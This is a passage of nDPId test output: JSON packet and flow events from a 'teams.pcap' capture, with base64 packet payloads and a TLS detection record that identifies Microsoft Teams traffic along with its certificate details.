z8PXWDCjb+O2AYTbI8cGwTbd9T\/xyCrasD9mJsbJucAZHGKf\/a5BHKNrMCFFCKhaIpwDo+1RW1w0NJjyJHct7NQA2f+rd8TCA6M2pIHObcDe2vqlqyhTGPqOcGaFxyQoSMxiLZkBB\/ehYzov4hiC9432RW5wH7AA0dav8N\/oDVsYev8RrGepQBAnLtlyvd5lnLso0kbYBXlteD3s4skj7L5NdPE9X+d8u01QQXH5lD9SttP3ur2qZyaPuz7kpDt\/v559XF4HO4JYTPAIXYak+7giuBKbT8ttl1gLyjNTIn6Wb2hWVy6gD6AA13w9Bt17dPPjeWfO+a\/UtMWYR8jZixqzautoXV4BVjKLkcHeO1CWs9hTdYMuBtr5nlfBYyPtai4kwEX4sJICqG1hpox71umTInnnp9J8GWlnqi4lgcjwBsWA9+Mjtk7S8Scfqkuh\/EQ8oLT8FsmvIGiaAoY6BVVpnXLF2AabHaNa8wXCjSDA6eaDtdYF+QsoQuTNmhp\/3y6xHjUJehx511zgqDBpRQSOJVl5OjlTcRtI1NwasT2FzE7vJKWzBJOuj1hs0vJ5ptt8GA+tlwxcDlkNjchMnRRwrk\/VHlOzPsG2HNqqbkO2JdHao4tqQT3t0Gkt9IT19Nm6jDsYmNs0i92xoBf\/hsehulRy34vLcg2hnxXrElot\/fhUCcnrs7cz77h3YRd9PkBUXkBsR7OPHV8Jlh8DW6g9dP0xk6pNwFryNxGFcM0pFBQ\/vyQh0P8bXq8nL4tJxqFQyivuXoid7Jr0jLNMfYZKSqXKARnUfUFQpzWuamwdW13s3CLTE90ng26\/yTHxtLFti2GyuxFSSSjCcUaMRkHRsyjtwYhX9nQ7MMrP+Kwl2PuLRf+gnPXr8uUoLiVmw9cHavRxVY\/rFhm+5Avrile50yIrqN90GdsBI2GGlBq1qZCUF0d1+wCKQH5lwJsaKGM31hcF7AqjSv2AOn929yv7LeVra2p\/MVq4KOqG3QgISQF"} +00532{"flow_id":47,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1883,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041685,"pkt_ts_usec":365562,"pkt_caplen":141,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":141,"pkt_l4_len":107,"pkt":"EBMx8Tl2KDc3AG3ICABFAAB\/AABAAEAG9zfAqAEGNHJNIeyLAbsws\/nkxyalaoAYEACJxAAAAQEICjCEucBhHwL6FgMDAEYQAABCQQR2LdhnTLVLdjhoemvgAvid\/c5uLTUOsUTPRq73jWUkJpwr5TLWPvB+S\/rTQoynFejo7iEIeKUXIr7Dmo+ugaFU"} +00386{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1897,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041685,"pkt_ts_usec":406369,"pkt_caplen":60,"pkt_type":34969,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"pkt":"\/\/\/\/\/\/\/\/2A0X1lWriJklgAAA2A0X1lWrAACAAADYDRfWVauACAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"} +00158{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":1897,"source":"teams.pcap","alias":"nDPId-test","type":34969} +00425{"flow_id":44,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1901,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041685,"pkt_ts_usec":417112,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"KDc3AG3IEBMx8Tl2CABFAAA0abFAAGwGYdE0ck0hwKgBBgG77IgacXcqco2Uv4AQBAWAZAAAAQEICmEe3KMwhLmf"} +02366{"flow_id":42,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1902,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041685,"pkt_ts_usec":419490,"pkt_caplen":1506,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1506,"pkt_l4_len":1472,"pkt":"KDc3AG3IEBMx8Tl2CABFAAXUjN5AAG0Gdfg0cg8twKgBBgG77IfA1AaSAv0PYlAQCARVFQAAFgMDF0UCAABVAwNemFWVsa3S0qCCJCKRvR5FvfRm4ku4Wp9dZjR4sGYcKSB2HAAAgvc9nFx0wNSQ+kfvV9B0Mq9ipN+Lt19U\/tPHHsAwAAANAAUAAAAXAAD\/AQABAAsADkgADkUACIcwggiDMIIGa6ADAgECAhMgAA1\/5iyI2CMUD4FHAAAADX\/mMA0GCSqGSIb3DQEBCwUAMIGLMQswCQYDVQQGEwJVUzETMBEGA1UECBMKV2FzaGluZ3RvbjEQMA4GA1UEBxMHUmVkbW9uZDEeMBwGA1UEChMVTWljcm9zb2Z0IENvcnBvcmF0aW9uMRUwEwYDVQQLEwxNaWNyb3NvZnQgSVQxHjAcBgNVBAMTFU1pY3Jvc29mdCBJVCBUTFMgQ0EgMjAeFw0xOTExMjkxNzU3NThaFw0yMTExMjkxNzU3NThaMCgxJjAkBgNVBAMMHSoudHJvdXRlci50ZWFtcy5taWNyb3NvZnQuY29tMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAyKcimDO37qOiITdGLLSgRk4SNqeQiChf5fToMO+7e1Qw4j4NVAURrkRlqOSwosi6x2ool0Qjlt5bANU2A7E0ubHR6fs+J4y2vgrsv41S7Ao\/UxdKklkG0wgp+paNcl2enqs+JFcPVtFPe+T+pnY6IZUpOziGi8NLx\/K2NG5xSvrdawVpY5vXRxXKsvLFIAdaJQozyWf9lCNbt+4C0IVl2Ep7N5bp06LVMZktn1YAjolqeEl3RQ6hM3GKceom5l4hpyP43E\/dTe3eLNBfmO8cDd9p8HlGVSrgjhKz1wuJWFoWgHTgDnVBSZVB7t78lIFlze4qLsPX90PfKUlmjF\/zIQIDAQABo4IEQDCCBDwwggGABgorBgEEAdZ5AgQCBIIBcASCAWwBagB2APZclC\/RdzAiFFQYCDCUVo7jTRMZM7\/fDC8gC8xO8WTjAAABbrhZJv4AAAQDAEcwRQIhALfHXTClbVL1ZG3BQH+fsd9EVlnIhlrRTh9b\/BWQkqOPAiArDlgg99bYekywwY8T40DyNspZOTZKKrpABVWSIcE7CwB3AFzcQ5L+5qtFRLFemtRW5hA3+9X6R9yhc5SyXub2xw7KAAABbrhZJyYAAAQDAEgwRgIhAJuNw4ivK3DXIXmUE+m57QEHF+rXHdB72ZviRwQ9s+0GAiEA9kNgaFnkw8l1xiyZdSGjaIfmqNZ4qpxCiXwbbmlDWu4AdwBElGUusO7Or8RAB9io\/ijA2uaCvtjLMbU\/0zOWtbaBqAAAAW64WScNAAAEAwBIMEYCIQDmc93n7UJEyvvIddsbJMxC7aPmS7n2Z\/C8vjlA2j\/H8AIhAP0Hy\/4XLfkD3pYHuzfG85l40mxoPZVRGXbh3zqAj+miMCcGCSsGAQQBgjcVCgQaMBgwCgYIKwYBBQUHAwIwCgYIKwYBBQUHAwEwPgYJKwYBBAGCNxUHBDEwLwYnKwYBBAGCNxUIh9qGdYPu2QGCyYUbgbWeYYX062CBXYTS30KC55N6AgFkAgEdMIGFBggrBgEFBQcBAQR5MHcwUQYIKwYBBQUHMAKGRWh0dHA6Ly93d3cubWljcm9zb2Z0LmNvbS9wa2kvbXNjb3JwL01pY3Jvc29mdCUyMElUJTIwVExTJTIwQ0ElMjAyLmNydDAiBggrBgEFBQcwAYYWaHR0cDovL29jc3AubXNvY3NwLmNvbTAdBgNVHQ4EFgQUdTnCFCgplfnCaQOBNT9YTfK9XfMwCwYDVR0PBAQDAgSwMFsGA1UdEQRUMFKCHSoudHJvdXRlci50ZWFtcy5taWNyb3NvZnQuY29tgg1nby50cm91dGVyLmlvghEqLmRyaXAudHJvdXRlci5pb4IPKi5kYy50cm91dGVyLmlvMIGsBgNVHR8EgaQwgaEw"} +02362{"flow_id":42,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1903,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041685,"pkt_ts_usec":419728,"pkt_caplen":1506,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1506,"pkt_l4_len":1472,"pkt":"KDc3AG3IEBMx8Tl2CABFAAXUjN9AAG0Gdfc0cg8twKgBBgG77IfA1Aw+Av0PYlAQCASwbwAAgZ6ggZuggZiGS2h0dHA6Ly9tc2NybC5taWNyb3NvZnQuY29tL3BraS9tc2NvcnAvY3JsL01pY3Jvc29mdCUyMElUJTIwVExTJTIwQ0ElMjAyLmNybIZJaHR0cDovL2NybC5taWNyb3NvZnQuY29tL3BraS9tc2NvcnAvY3JsL01pY3Jvc29mdCUyMElUJTIwVExTJTIwQ0ElMjAyLmNybDBNBgNVHSAERjBEMEIGCSsGAQQBgjcqATA1MDMGCCsGAQUFBwIBFidodHRwOi8vd3d3Lm1pY3Jvc29mdC5jb20vcGtpL21zY29ycC9jcHMwHwYDVR0jBBgwFoAUkZ47RGw9V5xCdyo010\/RzEqXLNowHQYDVR0lBBYwFAYIKwYBBQUHAwIGCCsGAQUFBwMBMA0GCSqGSIb3DQEBCwUAA4ICAQBVY727HtdDTWTVU3AbtZ3tnfdD+ZIlKkcEvZhdGtfLR93kO2x7R0zQ0gqTA4aKylbIsNQcc94W1dk55E3115Ppa6TByUSyEBMXJpQIozocfAobGecmcxvfsDbO3XlvEk3eGXCNw1GEP+rtYMU\/+G1gqniGLhyjzsQhOICG4HcvANg6cJySwm\/SpQOH5H5DpyW4ysI7O05cptAk2rTAECIrDpTpy71oDwjEsWh37mPcHPwqAlJXrBDfF2Q7AyWmFm9QtmVUjJVaSctLDzU7VRUkK0aCtXPjvcWrNR6x4uytuNZ4gOZpOrX1VtGx1rAv96q4SlFQBqy6dFVxh0bQLZQpABKb76cwUG\/pWvDwYapu2OitdqL57QTlrGdYa8gq7xRwy4BU2eaYR9SKjM1frVxvs5WmDo4EazQeDEV6fP909krjox7GYVlqQy3SY9nhd8uKRKiMrkg1OfFkJGSK0\/pkD8Pkb8lOaiQvEH9UotHMfjDU7K5\/h5EZSCzJCECqM\/4bVsM8Yk0bqsKjHgiO87h8gMUBfXt2sbeoARoOxGRoIatLpqqBn2fcpLxHrpFlVa+NDdwfaczPnNdQDU959HgnZeOmBRL9lYJRLEoukvVJGyjGLKR8KcZ7QGVBfKeDslSsW+TEb7QkPKwuy1yk88fuHFa53lEyjPd7CdVCLrtRWwAFuDCCBbQwggScoAMCAQICEA8sEMlbBsCTf7jUSfg+hWkwDQYJKoZIhvcNAQELBQAwWjELMAkGA1UEBhMCSUUxEjAQBgNVBAoTCUJhbHRpbW9yZTETMBEGA1UECxMKQ3liZXJUcnVzdDEiMCAGA1UEAxMZQmFsdGltb3JlIEN5YmVyVHJ1c3QgUm9vdDAeFw0xNjA1MjAxMjUxNTdaFw0yNDA1MjAxMjUxNTdaMIGLMQswCQYDVQQGEwJVUzETMBEGA1UECBMKV2FzaGluZ3RvbjEQMA4GA1UEBxMHUmVkbW9uZDEeMBwGA1UEChMVTWljcm9zb2Z0IENvcnBvcmF0aW9uMRUwEwYDVQQLEwxNaWNyb3NvZnQgSVQxHjAcBgNVBAMTFU1pY3Jvc29mdCBJVCBUTFMgQ0EgMjCCAiIwDQYJKoZIhvcNAQEBBQADggIPADCCAgoCggIBAJ6qFcEboWNf5lEYxRa7EdwLTZuRCrpASSvc1gYLxXdZLDRCRQtOqMkW8CjzH5aVvx7Tn8yHgZYhpOezMGatfG4AEq+9LD1FrqA\/dex1IAX8QWKBfMwO2SHucwBzgxW6CS+xYP2qYG0LPxomWTQotEJEFFs8NJ01JlUjUNJs+qQrveQ79VjLCxsjxn3Tfcw90P0BA8ieveUII0SMWANQ1BPueLYtpOq9MnChUGJMlsGduRw9YdpGLd6L1vObxesu7Y06lBHC24ClAgfNf\/eeYXSy7GxXen\/aNj5FPMbjnN1Pm1Hnb7+km7bxowRGXhch\/PwmkIc5bCjB9Pjjzhb\/2zKnC2qz8NVdbDldW5eF"} +00409{"flow_id":42,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1904,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041685,"pkt_ts_usec":419787,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"EBMx8Tl2KDc3AG3ICABFAAAoAABAAEAGNYPAqAEGNHIPLeyHAbsC\/Q9iwNQR6lAQH9K3VAAA"} +02378{"flow_id":42,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1905,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041685,"pkt_ts_usec":419979,"pkt_caplen":1506,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1506,"pkt_l4_len":1472,"pkt":"KDc3AG3IEBMx8Tl2CABFAAXUjOBAAG0GdfY0cg8twKgBBgG77IfA1BHqAv0PYlAQCARavgAAvb4ttu\/J4m5cyGxB7e5zfPPKeCjSMKgnF2hoW7UuLY59zSiOr9Xdl0csSLwiQ44KGdPcxd\/T8qHvdrEkYpGYe8Z7OLUBEPAQrOKOTQUsfFMRLIMszUrJFhhFqrCI7fu\/gNbJAw2b+pNqPFQhzW0yxSku3e9sDCOBK6c1bASInMWhtns7jAQbqk4cSIifhvc36D\/ZcYpv\/a7yQMW4d57owNVSX5DmEySKIxAGAsUd0IxKBnWqSZgZXvewH6hAZ8KCbLtsGr\/Ifb\/qaAy+IenUc0VMWNQx8qXBZVxqB7v0REIBS6tiDd9PwIUCzfdD4\/U09kUBAgMBAAGjggFCMIIBPjAdBgNVHQ4EFgQUkZ47RGw9V5xCdyo010\/RzEqXLNowHwYDVR0jBBgwFoAU5Z1ZMIJHWMys+ghUNoZ7OrUETfAwEgYDVR0TAQH\/BAgwBgEB\/wIBADAOBgNVHQ8BAf8EBAMCAYYwJwYDVR0lBCAwHgYIKwYBBQUHAwEGCCsGAQUFBwMCBggrBgEFBQcDCTA0BggrBgEFBQcBAQQoMCYwJAYIKwYBBQUHMAGGGGh0dHA6Ly9vY3NwLmRpZ2ljZXJ0LmNvbTA6BgNVHR8EMzAxMC+gLaArhilodHRwOi8vY3JsMy5kaWdpY2VydC5jb20vT21uaXJvb3QyMDI1LmNybDA9BgNVHSAENjA0MDIGBFUdIAAwKjAoBggrBgEFBQcCARYcaHR0cHM6Ly93d3cuZGlnaWNlcnQuY29tL0NQUzANBgkqhkiG9w0BAQsFAAOCAQEAbH\/qam\/Pa1vBNKz\/3A7gfYsTF+AvTlkOxAO59AUpZUeuGZroVPZk1di9BuBxIhl7zprdeYvfcCdIaNv3bzMZtWXrn5AHzLhHOX0PURORDYDUdlArhQdgbW1ZmilAFsbHDeBqV0uACb\/vx0tFV7OUrtfSdAwPAYPpaPHpApeHathtZtVrArxQSKCyI3eJ3gi5RqMU9owON5Y9iaUP0jJC5C8vQ14\/yR3bKiQ0eaIHIo+FSF\/Ffm1Q9DQsO5EGulJavWaNIwxKtWreM0nh+JldjzDNy8CFwQNsaObHWtXJ1FiaNz6uLjIHC3tLfnwrrd\/DTJE5fBdGq35bKWqlFVVKLxYABysBAAcnMIIHIwoBAKCCBxwwggcYBgkrBgEFBQcwAQEEggcJMIIHBTCBx6IWBBQQinL5+VZH8gss29IEWEhOCyTc8xgPMjAyMDA0MTYwMzIwMTFaMIGbMIGYMEwwCQYFKw4DAhoFAAQUiBpKdP7\/RlLzVLtRD9Ok7u\/gocgEFJGeO0RsPVecQncqNNdP0cxKlyzaAhMgAA1\/5iyI2CMUD4FHAAAADX\/mgAAYDzIwMjAwNDE2MDMyMDExWqARGA8yMDIwMDQyMDAzMjAxMVqhIjAgMB4GCSsGAQUFBzABBgQRGA8yMDE5MDQxNzAzMjAxMVowDQYJKoZIhvcNAQELBQADggEBAGZPFXF8IQ\/SRPWKKp7KC61LgS5KVOYLdHbtwaIIPmon22Cgf69m1EQdYfxb8g3nPOs7g4KhHJVe6V5GT3W0BAVAYXkyAXRX1rdeYl4k6Lptuq\/GUH+wmnbP0AS+ch3w1t0wpFWEOyy+p40zuygvgvLcuKSJKpYUeyhVy\/n0CJcyHNKBggYoiCfUbMri7qauxfRdr3OKr2JgRDUjWdLDd0Q\/iihfLlpECiCLFc4UNOzidoZTOK7jrlfhkeZvdZwoLBRgeNmLbd8MgH1MPHqqqlg+PIesJ5gVFAZleGMM\/D5nvoG4lWz+hC\/uqeYFFPT4r9QMIVMdDsvUc7ccwbCMWSigggUjMIIFHzCCBRswggMDoAMCAQICExwAFdEU7EXkJ4HoLdUAAAAV0RQwDQYJKoZIhvcNAQELBQAwgYsxCzAJBgNVBAYTAlVTMRMwEQYDVQQI"} +00409{"flow_id":42,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1906,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041685,"pkt_ts_usec":420065,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"EBMx8Tl2KDc3AG3ICABFAAAoAABAAEAGNYPAqAEGNHIPLeyHAbsC\/Q9iwNQXllAQIACxegAA"} +02369{"flow_id":42,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1907,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041685,"pkt_ts_usec":420101,"pkt_caplen":1506,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1506,"pkt_l4_len":1472,"pkt":"KDc3AG3IEBMx8Tl2CABFAAXUjOFAAG0GdfU0cg8twKgBBgG77IfA1BeWAv0PYlAQCATN7gAAEwpXYXNoaW5ndG9uMRAwDgYDVQQHEwdSZWRtb25kMR4wHAYDVQQKExVNaWNyb3NvZnQgQ29ycG9yYXRpb24xFTATBgNVBAsTDE1pY3Jvc29mdCBJVDEeMBwGA1UEAxMVTWljcm9zb2Z0IElUIFRMUyBDQSAyMB4XDTIwMDQwMjE3MDM1MVoXDTIxMDQwMjE3MDM1MVowKzEpMCcGA1UEAwwgTWljcm9zb2Z0X0lUX1RMU19DQV8yX0tleUJpbmRpbmcwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDxsiBlqpOW25S5JSJRGJ1elO4z8Cxx8jNsk9kLYVQKs+e98oaED8XegtCmY2gfy5SvlD2b43t9l71c8xjHJCDkMkZMu9JTyFDBKGze6W\/pLHEFCO6kHAhZKXuFehTyqO1Si8kROv9Qfwcu6ZFKCosAsHZ8MyCYYG1PPEngklFLDOyceTJEc8vjwGq4SxDde9z\/TqVuryShRAwtvRu1OQIfFCJn5YrZEl10823PNr9KRyR9XSB3vWefjsaTm80al5kWLASp9YF+YJdK5zrvYTgTOU\/5y4S10IaaefssKozfAjHMgxAw5pvouW4dzl\/qCudhVPWmxVHmHX4g39wOLeobAgMBAAGjgdYwgdMwHQYDVR0OBBYEFBCKcvn5VkfyCyzb0gRYSE4LJNzzMA4GA1UdDwEB\/wQEAwIHgDATBgNVHSUEDDAKBggrBgEFBQcDCTAPBgkrBgEFBQcwAQUEAgUAMB8GA1UdIwQYMBaAFJGeO0RsPVecQncqNNdP0cxKlyzaMD4GCSsGAQQBgjcVBwQxMC8GJysGAQQBgjcVCIfahnWD7tkBgsmFG4G1nmGF9OtggV2BzJtHgcjpFgIBZAIBBzAbBgkrBgEEAYI3FQoEDjAMMAoGCCsGAQUFBwMJMA0GCSqGSIb3DQEBCwUAA4ICAQCUrZ1UklznMIstdAw2M6U2kCFNmXzLi1q6isY0VsZrflxVnjm68aj\/9BhhNAL3xORW3nX5VdPYd\/DrWkCDVHAdHxEEcdfeekSO2ss1HNjwDiEg02OUE4SdwYvw9d6TYuhpbysWpom4PxIdl3QcGot8R5TrzqAANlQ6tAlH\/152BpvUWfM8\/yUm5F\/Nuz+nR6c5u4Jx0jNIc11e7yrKSzVkrzgLbBsjWF8eGVJZNGQyeB8C4Q2gSpObfL2XBJ0Du4mDoAe5JiKIhHwaDG0Ey64kEg9iQgBAL14zEzrqtLhqq9urFLeaU0HO7yZNz1rmJ2UYdL3ZdD0yl3RzAScs7WNaOjbaJjluDUkCVbH8GhRymqIyBIRWJ7sZRsP+k6aHGSKD8TcuLwh3L3EWb24qtbayC\/l2pwgA2pPIvKz8ObpLi\/PtR4LfVN1MMDEhmd\/A0XbTocInVs6H1B+mOIJqIc3Tgn5etZ1H2jnV1ZRD6SyhVfqSmO2E9Uk2jLeb6WqJV8Ii3Q81ZZ\/aGfjm6w7U4decHkKlYzns14MCLBfGm0yxaSFjYyD0IJho2p4Ucid0BvebSCTHzGuJ8\/ofHL6ftnGIFd\/1GjwbG7VVeTWD2feQlQsJnGLuQjv8TQ4xNBaYC5VaRqSXyaKa5Twegd7h7X3PgshSrKG7sVflIdflHtcmNwwAAWkDABhhBOJCmP665u+jsfKoStrafe1IG17spRyNcQ9radLxgk1FfIpXmVcotZ3lmovr4XEOi9FU9Dp3zgoxh37t9whGJkD9oSn7OyvaAqtNPnQqq1T3Ty3OFPdgEVsDyBVD1FPumQQBAQCDUp45bE+gKwMoR4DNbqkKHriRNXKiJfLuCO2cDPuQu+48iwJLODvS5\/Y341RmrixwM0YJlVGjfqmyiQP+QnGThX12oVsW1BYrve57\/KoCwbnaYSn+HeOgJtOe1NJFgZwomlBQOR3bAbvY"} +00622{"flow_id":42,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1908,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041685,"pkt_ts_usec":420103,"pkt_caplen":208,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":208,"pkt_l4_len":174,"pkt":"KDc3AG3IEBMx8Tl2CABFAADCjOJAAG0GewY0cg8twKgBBgG77IfA1B1CAv0PYlAYCAT33QAAhP8kGj4A71uZvPuiIFQNgmojQyaAV6pd1jD+lOLbBOEBkTitcW4qGNMWpLn0+DB74MywI1q+MsMrl9My\/pdszw+\/257T4TKQGFMqcjqLSt5G1XTEqzbXOxxwgReoxUjqT630fph3hTnJwYPYvxV91IFSGcWpVdfcj52uSWwebMcG2nFbczAZWuaUPPSbPbbCU33y2ywSDgAAAA=="} +01176{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":1908,"source":"teams.pcap","alias":"nDPId-test","flow_id":42,"flow_packet_id":11,"flow_first_seen":1587041685106,"flow_last_seen":1587041685420,"flow_tot_l4_data_len":6421,"flow_min_l4_data_len":20,"flow_max_l4_data_len":1472,"flow_avg_l4_data_len":583,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.6","dst_ip":"52.114.15.45","src_port":60551,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"15":"TLS (probably) not carrying HTTPS"},"proto":"TLS.Teams","breed":"Safe","category":"Collaborative"},"tls": {"version":"TLSv1.2","client_requested_server_name":"trouter2-asse-a.trouter.teams.microsoft.com","server_names":"*.trouter.teams.microsoft.com,go.trouter.io,*.drip.trouter.io,*.dc.trouter.io","ja3":"e4d448cdfe06dc1243c1eb026c74ac9a","ja3s":"986571066668055ae9481cb84fda634a","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384","issuerDN":"C=US, ST=Washington, L=Redmond, O=Microsoft Corporation, OU=Microsoft IT, CN=Microsoft IT TLS CA 2","issuerDN":"CN=*.trouter.teams.microsoft.com","fingerprint":"DD:24:DF:0E:F3:63:CC:10:B5:03:CF:34:EB:A5:14:8B:97:90:9B:D4"}} +00410{"flow_id":42,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1909,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041685,"pkt_ts_usec":420144,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"EBMx8Tl2KDc3AG3ICABFAAAoAABAAEAGNYPAqAEGNHIPLeyHAbsC\/Q9iwNQd3FAQH82rZwAA"} +00425{"flow_id":47,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1919,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041685,"pkt_ts_usec":446016,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"KDc3AG3IEBMx8Tl2CABFAAA0VBNAAGwGd280ck0hwKgBBgG77IvHJqVqMLP6L4AQBAVa+gAAAQEICmEfA10whLnA"} +00497{"flow_id":47,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1920,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041685,"pkt_ts_usec":446109,"pkt_caplen":117,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":117,"pkt_l4_len":83,"pkt":"EBMx8Tl2KDc3AG3ICABFAABnAABAAEAG90\/AqAEGNHJNIeyLAbsws\/ovxyalaoAYEACJMwAAAQEICjCEugthHwNdFAMDAAEBFgMDACjKOW9G6pYYFQxbBReF7uslk560sh+IyAUFvY0v0wF49L1jZlB3T9Xz"} +00559{"flow_id":42,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1921,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041685,"pkt_ts_usec":447913,"pkt_caplen":161,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":161,"pkt_l4_len":127,"pkt":"EBMx8Tl2KDc3AG3ICABFAACTAABAAEAGNRjAqAEGNHIPLeyHAbsC\/Q9iwNQd3FAYIACT9wAAFgMDAGYQAABiYQS80kqcx+dHmOVYK7Aj4fzmayr6AuRamhmxIa7bAW3xyLCmAKUzligWw+GpX4RkL84fvV2uF\/yIkEkiz4MehM51+B7Yj7T1\/gX4fcTf5d3U6r4rw7oO0MvcSYRG4w6OjD0="} +00375{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1979,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041685,"pkt_ts_usec":611278,"pkt_caplen":60,"pkt_type":38,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"pkt":"AYDCAAAAeCjKBfrMACZCQgMAAAAAAJAAeCjKBfrMAAAAAJAAeCjKBfrMgAEAAAYAAQAEAKWlpaWlpaWl"} +00155{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":1979,"source":"teams.pcap","alias":"nDPId-test","type":38} +00497{"flow_id":44,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1982,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041685,"pkt_ts_usec":654367,"pkt_caplen":117,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":117,"pkt_l4_len":83,"pkt":"KDc3AG3IEBMx8Tl2CABFAABnabJAAGwGYZ00ck0hwKgBBgG77IgacXcqco2Uv4AYBAVQyQAAAQEICmEe3ZEwhLmfFAMDAAEBFgMDACgAAAAAAAAAAGwcabH\/l\/Aiqt8xUwEcbKVK2GP8JMZve0ScvcZSWcOF"} +00427{"flow_id":44,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1983,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041685,"pkt_ts_usec":654436,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"EBMx8Tl2KDc3AG3ICABFAAA0AABAAEAG94LAqAEGNHJNIeyIAbtyjZS\/GnF3XYAQD\/5yEwAAAQEICjCEutZhHt2R"} +00417{"flow_id":42,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1984,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041685,"pkt_ts_usec":655741,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"KDc3AG3IEBMx8Tl2CABFAAAojONAAG0Ge580cg8twKgBBgG77IfA1B3cAv0PzVAQCATCxQAAAAAAAAAA"} 